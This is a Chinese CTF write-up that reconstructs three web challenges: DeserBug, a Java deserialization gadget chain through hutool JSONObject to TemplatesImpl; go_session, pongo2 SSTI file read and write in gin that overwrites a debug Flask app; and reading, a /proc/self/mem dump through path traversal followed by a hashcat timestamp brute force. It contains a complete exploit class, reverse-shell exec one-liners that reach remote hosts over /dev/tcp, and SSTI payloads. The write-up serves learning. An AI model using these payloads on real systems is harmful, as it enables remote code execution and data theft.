DeserBug

前言

第一次做(复现)比赛的java题,学到的东西很多。

主要参考的是M1sery师傅的wp。CC之前一点没学过,为了看这题刚好就顺便学了。知道这题的链条怎么走之后,再自己写exp。然后被本地通远程不通卡了一下,再去了解一下java exec 的命令怎么写。最后打通远程靶机。

M1sery 师傅的wp:https://www.yuque.com/misery333/sz1apr/pu2fcu7s6bg10333

CC链:https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20220407-cc_analysis.html

java的exec:https://blog.spoock.com/2018/11/25/getshell-bypass-exec/


java exec 写法,直接放这里了,方便记住:

// base64 是要执行的命令
Runtime.getRuntime.exec("bash -c {echo,ZW52ID4gL2Rldi90Y3AvNjEuMTM5LjY1LjEzNC8zNjI2NAo=}|{base64,-d}|{bash,-i}");

//反弹shell用这个
Runtime.getRuntime.exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.190.1/8989<&1“);

复现

链条:

HashMap
->readObject()
->hash(key)

TiedMapEntry
->hashCode()
->getValue()
->map.get(key)
LazyMap
->get(key)
->this.map.put(key, value)

JSONObject
->put(...,value)
->value.getter
Myexpect
->getAnyexcept()
//这里可以调用可控类的可控参数的构造器

TrAXFilter
->TrAXFilter(templates)
->templates.newTransformer()

TemplatesImpl
->newTransformer()

完整代码:

import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import unknown.tools.GetTemplateImpl;
import unknown.tools.MyMethods;

import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Test {

public static void main(String[] args) throws Exception{

TemplatesImpl templates = GetTemplateImpl.GenerateTemplate("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.190.1/8989<&1");

JSONObject json = new JSONObject();
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});


Map<Object,Object> lazyMap= LazyMap.decorate(json,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");

HashMap hashMap = new HashMap();

hashMap.put(tiedMapEntry,"111");

lazyMap.remove("aaa");

//MyMethods是自己的写的工具类
MyMethods.setFieldValue(lazyMap,"factory",new ConstantTransformer(myexpect));

System.out.println(MyMethods.base64(MyMethods.serialize(hashMap)));

//MyMethods.unserialize(Base64.getDecoder().decode(MyMethods.base64(MyMethods.serialize(hashMap))));

}
}

go_session

前言

赛后复现,最大的感受就是要读官方文档,而且要仔细读。

复现这题时,已经知道了payload,但是想先自己试着找资料,看看payload是怎样来的,自己有无能力找出来。google关键词 pongo2 SSTI,但是基本搜不到现成的。官方文档我也不肯仔细读,随便翻翻,翻不到一眼看出有用的东西,所以基本没思路。

问了下Lolita,他说他的payload是从文档里看来的,我就开始沉下心来仔细翻文档了,最后成功复现。

复现

题目源码:

route.go (关于session的检测删去了)

package route

import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
"fmt"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")

if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
fmt.Println(c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

main.go

package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:85")
}

5000端口跑的app.py

from flask import Flask,request
import os
app = Flask(__name__)

@app.route('/')
def index():
return '1'

app.run('0.0.0.0',debug=True)

做法是通过SSTI实现任意文件读写,然后覆盖app.py。由于app.py 开了debug,所以只要app.py文件内容发生改变,就会重新加载。目的就是自己写恶意的app.py,覆盖原来的。

直接上SSTI的payload:

读文件:

#两个都可
{%include c.Request.Referer()%}

{%include c.Request.Host()%}

image-20230529221156470.png

写文件,覆盖app.py

{{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}

image-20230529221309190.png
此时访问/shell可访问

image-20230529221339639.png

找payload过程

先看pongo2那里做了什么。

image-20230529221545283.png
看到是把gin.Context那个变量传了进去。

所以现在切入点是pongo2还有gin.Context。

先看pongo2,翻文档。

在这里要找到include。当然实际情况下不可能立刻找到,也可能一无所获,但还得仔细看。下面是找的过程。

image-20230529214238150.png
Django

image-20230529214353968.png
image-20230529214238150.png
Django的文档

image-20230529214353968.png
Tags

image-20230529214416857.png
Built-in tag reference

image-20230529214522953.png
include

image-20230529214613887.png

上面的include可以读取文件,但现在要把文件名传进去,不能直接传引号的字符串,所以需要一个可控字符串变量。

接下来翻gin的文档。

image-20230529222345643.png
点进去Context

image-20230529222528589.png
Request

image-20230529222811947.png
找到Request的Host属性,可控。

image-20230529222632773.png
Referer方法,返回字符串,可控。

image-20230529222839167.png

以上找是读取文件的payload,下面找写文件的payload。

回到这里,下面都是Context的方法,一个个看哪个有用:

image-20230529223023099.png
找到一个传文件的方法:

image-20230529223346785.png
需要一个FileHeader,找到:

image-20230529223424578.png
需要两个可控变量,一个给dst,一个给name,上面都找到了,这样写文件的payload也出来了。

ps:这个FormFile返回值是两个值,payload直接写源码里编译不过,但是payload发过去能成功写,就很奇怪。我还是学得太少了。

image-20230529223722641.png

reading

前言

队友Lolita做出来的,拿了一血,实在是佩服。内存里直接找secret_key不敢想,时间戳的爆破更不敢想。

简单回顾他当时做的过程。这种配合start和end读内存的题目在好几个比赛都有见,所以看到这题第一反应就是去读内存了。他想着把全部内存读出来,然后找32位的字符串,那就是secret_key或者key。

跑脚本10分钟,找到了两个32位字符串,在同一个文件,且在相邻行紧挨着。拿其中一个可以解session,那另一个就是key。他以为直接伪造就行了,没注意到/flag里要把我们输入的再md5一次。注意到这点时候,感觉思路又断了,因为靶机已经开了两个小时了,时间戳根本不可能爆出来。

刚好此时我开了另一个环境,想看看其他题,没想到reading的靶机自动关了。我感觉自己闯大祸:靶机要重开,secret_key要重爆。他也很烦,又要爆一次,然后他突然反应过来:开环境,刚好可以记时间戳!靶机开机时立刻打时间戳,就大大减小了爆破的难度。

像第一次那样得到secret_key和key,然后跑hashcat,等了7、8分钟就看到Cracked了。激动的心,颤抖的手,交了flag,拿了一血。

搭建环境

app.py

import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime

app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()


@app.route('/books', methods=['GET', 'POST'])
def book_page():
filepath = request.args.get('book')
if request.args.get('page_size'):
page_size = int(request.args.get('page_size'))
else:
page_size = 3000
if request.args.get('page'):
page = int(request.args.get('page'))
else:
page = 1
words = read_file_page(filepath, page, page_size)
return '\n'.join(words)

@app.route('/flag', methods=['GET', 'POST'])
def flag():
if hashlib.md5(session.get('key').encode()).hexdigest() == key:
return "flag{xxxxxxxxxxxxxxxxxx}"
else:
return "no no no"

def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size=page_size + j
offset = (page_number - 1) * page_size+i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
#if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')

if __name__ == '__main__':
app.run(host='0.0.0.0')

开始复现

首先将maps的内容读出来,再根据这个来读取所有内存内容。

读取mem的脚本:

import requests,time,re

#maps里是读maps的原始内容
maps = open('maps').read().split('\n')

start_end = []
for line in maps:
if ' r' not in line: #忽略不可读的内存
continue
line = line.split()[0]
start = line.split('-')[0]
end = line.split('-')[1]
start_end.append([start,end])

page_size = 4096
for i,line in enumerate(start_end):
start = int(line[0],16)
end = int(line[1],16)

# page_size = end-start 写了这条也可

start_page = start // page_size
page_num = (end-start)//page_size
print(f'[*]{i + 1}/{len(start_end)}', 'page_num: ',page_num)
result = open(f'my/{line[0]}-{line[1]}.bin', 'wb')

for page in range(page_num):
url = f'http://192.168.190.130:5000/books?book=../../../../../../../proc/self/mem&page={start_page+page}&page_size={page_size}'
res = requests.get(url)
result.write(res.text.encode())
result.write(b'\n')
result.close()

image-20230529141715963.png
全局正则查找:

image-20230529141843497.png

得到两个靠的很近的32位字符串:

ba8de28bc623af25efcb50f4e09ab750

b33ff936a57adfeebbe317eb3f1e1e43

猜测一个是secret_key,一个是key,拿其中一个去解session,可以解,那另一个就是key

image-20230529142238207.png
接下来要爆破时间戳。

在程序运行(在比赛就是开靶机)时,立刻敲几个时间戳出来,这样前面几位数字是固定的,只需要爆破后面的数字。

image-20230529142425052.png

用hashcat: hashcat -m 0 -a 3 b33ff936a57adfeebbe317eb3f1e1e43 168534084?d?d?d?d?d?d?d?d?d?d

image-20230529143930990.png
成功爆破。

伪造session:

image-20230529143952516.png
访问/flag:

image-20230529144008793.png